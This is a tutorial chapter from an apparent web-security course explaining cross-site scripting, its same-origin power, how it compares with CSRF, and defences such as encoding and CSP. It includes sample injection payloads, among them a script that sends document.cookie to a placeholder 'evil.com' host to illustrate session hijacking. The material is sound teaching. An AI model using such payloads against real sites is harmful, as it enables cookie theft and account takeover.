What Is XSS?

Chapter 1

What XSS Is & Why It Matters

Script injection, the same-origin trust betrayed, and why XSS outranks CSRF

Cross-Site Scripting (XSS) is the injection of attacker-controlled JavaScript into a page that the victim's browser trusts — so the malicious code runs with the full privileges of that site, in the victim's own session. If you've just come from the CSRF course, this is the bug that kept getting flagged as "defeats every CSRF defence." This chapter explains exactly what XSS is, why it's so powerful, and why it sits near the top of every web-security risk list.

The Core Idea: Untrusted Input Becomes Code

XSS happens when an application takes data from an untrusted source (a URL parameter, a form field, a stored comment) and inserts it into an HTML page without properly neutralizing it, so the browser interprets it as code rather than data. The browser can't tell the difference — to it, a <script> the developer wrote and a <script> an attacker injected look identical.

// a page that greets you by a name taken from the URL
// https://site.com/hello?name=Philip
<h1>Hello, Philip</h1>          // intended

// but the attacker sends:  ?name=<script>steal()</script>
<h1>Hello, <script>steal()</script></h1>   // the script now RUNS

The application meant to display the name as text; because it didn't encode the input, the browser parsed it as a script element and executed it. That single failure — treating input as code — is the root of all XSS.

Why It's So Powerful: It Runs In-Origin

The injected script executes same-origin — as if the site itself wrote it. That means it inherits everything the legitimate page can do:

Read the DOM — every piece of data on the page, including things the user typed.
Read non-HttpOnly cookies and localStorage/sessionStorage — session tokens, app state.
Make same-origin requests with the user's session — and read the responses (unlike CSRF).
Modify the page — inject fake login forms, deface content, capture keystrokes.
Act as the user — perform any action the user could, invisibly.

XSS betrays the Same-Origin Policy from the inside

The Same-Origin Policy (CSRF course, Chapter 2) is the web's foundational protection: code from one origin can't read another origin's data. XSS doesn't break that wall — it gets the attacker's code to run inside it. Once the script executes at the target origin, the SOP is working perfectly… on the attacker's behalf. This is why XSS is so severe: it turns the page's own trust into the attack.

XSS vs CSRF — The Capability Gap (Bridging the Last Course)

If you took the CSRF course, this comparison crystallizes why XSS is the more dangerous of the two:

	CSRF	XSS
What the attacker controls	can send a request from another site	runs code on the target page
Can read the response?	No (write-only)	Yes — same-origin
Can steal cookies/tokens?	No	Yes (non-HttpOnly)
Can defeat the other's defences?	No	Yes — reads CSRF tokens, rendering them useless
Primary defence	tokens, SameSite cookies	output encoding, CSP, sanitization

XSS is strictly more powerful than CSRF — fix it first

Everything CSRF can do, XSS can do and more, because XSS runs same-origin script while CSRF can only blindly send a request. An XSS payload can read the anti-CSRF token straight out of the page and forge a perfectly valid request — so no CSRF defence survives an XSS hole (the recurring warning from the CSRF course). The practical ordering: an application that has XSS cannot be meaningfully protected against anything else until the XSS is closed. XSS is foundational.

A Concrete Impact: Session Hijacking

The classic demonstration is cookie theft. If the session cookie isn't HttpOnly, an injected script can exfiltrate it, letting the attacker impersonate the victim entirely:

// injected payload sends the victim's cookies to the attacker
<script>
  fetch("https://evil.com/log?c=" + encodeURIComponent(document.cookie));
</script>

With the session cookie, the attacker logs in as the victim — no password needed. (Chapter 5 covers the full range of impacts; HttpOnly cookies, Chapter 10, blunt this specific trick but not XSS in general, since the script can still act as the user directly.)

Why XSS Persists

XSS has been a top web vulnerability for two decades. It endures because:

Every dynamic page is a candidate — anywhere user input reaches the page, a missed encoding creates a hole.
The defences are context-dependent — "escaping" means different things in HTML vs an attribute vs JavaScript (Chapter 3), and getting the context wrong reopens it.
Modern frameworks help but don't eliminate it — React/Vue/Angular auto-escape by default, which slashed XSS rates, but their escape hatches (dangerouslySetInnerHTML, v-html) put it right back (Chapter 9).

The one-sentence mental model for the whole course

Every XSS bug is the same mistake — untrusted input was treated as code instead of data — and every XSS defence is a way of forcing input to stay data (encode it on output, sanitize it if it must be HTML, or constrain what scripts may run with CSP). Hold that frame and the rest of the course is variations on it.

Hands-On Exercises

Exercise 1

In your own words, explain the root cause of XSS in terms of "data vs code." Then take the ?name= greeting example and explain precisely why ?name=<script>alert(1)</script> executes, while the developer intended only to display text.

📄 View solution

Exercise 2

List five distinct things an injected XSS script can do that a CSRF attack cannot, and for each, state why XSS can do it (same-origin execution) but CSRF cannot (write-only, cross-site). Conclude why XSS is rated more severe.

📄 View solution

Exercise 3

Explain why "make the session cookie HttpOnly" reduces XSS impact but does not fix XSS. Describe two things an injected script can still do to harm the user even when it cannot read the cookie.

📄 View solution

Chapter 1 Quick Reference

XSS = injecting attacker JavaScript into a trusted page so it runs same-origin in the victim's session
Root cause: untrusted input treated as code instead of data (a missed output encoding)
The browser can't tell a developer's <script> from an injected one — context decides
Power comes from in-origin execution: read DOM/cookies, make & read same-origin requests, act as the user
XSS doesn't break the Same-Origin Policy — it runs inside it, turning the page's trust into the attack
XSS is strictly more powerful than CSRF — it reads CSRF tokens, defeating those defences; fix XSS first
Classic impact: session hijacking via document.cookie theft (blunted but not solved by HttpOnly)
Persists because every dynamic page is a candidate & defences are context-dependent; frameworks help but have escape hatches
Next chapter: the three types — Reflected, Stored, and DOM-based XSS